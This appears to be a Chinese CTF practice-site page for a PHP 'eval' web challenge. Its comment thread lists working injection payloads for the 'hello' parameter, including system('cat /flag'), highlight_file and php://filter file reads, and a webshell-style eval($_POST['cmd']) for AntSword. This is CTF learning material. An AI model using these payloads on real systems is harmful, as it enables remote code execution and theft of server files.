evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 20348
提  示:
描  述:
eval
评论
chm 8月前

http://171.80.2.169:19841/?hello=file(%22flag.php%22)

回复 1

yiya咿呀 9月前

url/?hello=eval(system('cat /flag'))

回复 2

道法自然 9月前

蚁剑直接 url/?hello=eval($_POST['cmd')

回复 1

1nfinix 9月前

构造payload: ?hello=);highlight_file('flag.php');// 或者 ?hello=);system('cat flag.php');//

回复 0

lins11 10月前

/?hello=file_get_contents(%27php://filter/read=convert.base64-encode/resource=flag.php%27) ->base64解码

回复 0

叱咤月海鱼鱼猫 11月前

?hello=highlight_file('flag.php')

回复 3

banfang 11月前

点击场景后将代码发送给豆包等一分钟基本上就可以了

回复 0
hds 5月前

牛逼兄弟 学会了

回复 2

pks0 12月前

?hello=1);highlight_file(%27flag.php%27);//

回复 1

一个姓⎝李⎠的师傅~ 1年前

知其然,不知其所以然,以后还是不会类似的题目:(下面是我写了 1 天的思路,保证你看完以后一切都明白了!!!) https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#fYY9d

回复 13
pipipikaqiu 10月前

写的好详细,太好了啊

回复 1

一个姓⎝李⎠的师傅~ 10月前

@想好思路再支付 有帮助就好,感谢老铁的认可!!!

回复 2

想好思路再支付 10月前

思路讲的真好啊李师傅

回复 1

ubudj 1年前

?hello=file(%27flag.php%27) ,%27 是单引号(')的 URL 编码形式。 确保 file() 函数能正确识别要读取的文件名

回复 1

WriteUp

image
harry

1 金币

评分(13)

解题动态

小白修炼日常 攻破了该题 28分钟前
tafeishi 攻破了该题 1小时前
diandianying 攻破了该题 21小时前
amuliang1 攻破了该题 23小时前
恣睢 攻破了该题 1天前
xiaoqixy1 攻破了该题 1天前
lonely_wolf 攻破了该题 1天前
soymilk 攻破了该题 1天前
gedeer 攻破了该题 2天前
ysjy 攻破了该题 2天前
cholmon 攻破了该题 2天前
ling_x 攻破了该题 2天前
Anos 攻破了该题 3天前
15369226763 攻破了该题 3天前
人生1234 攻破了该题 3天前
asasehotaru 攻破了该题 3天前
wwwwander 攻破了该题 4天前
re_void 攻破了该题 4天前
wefyh 攻破了该题 4天前
16533261 攻破了该题 4天前
问题反馈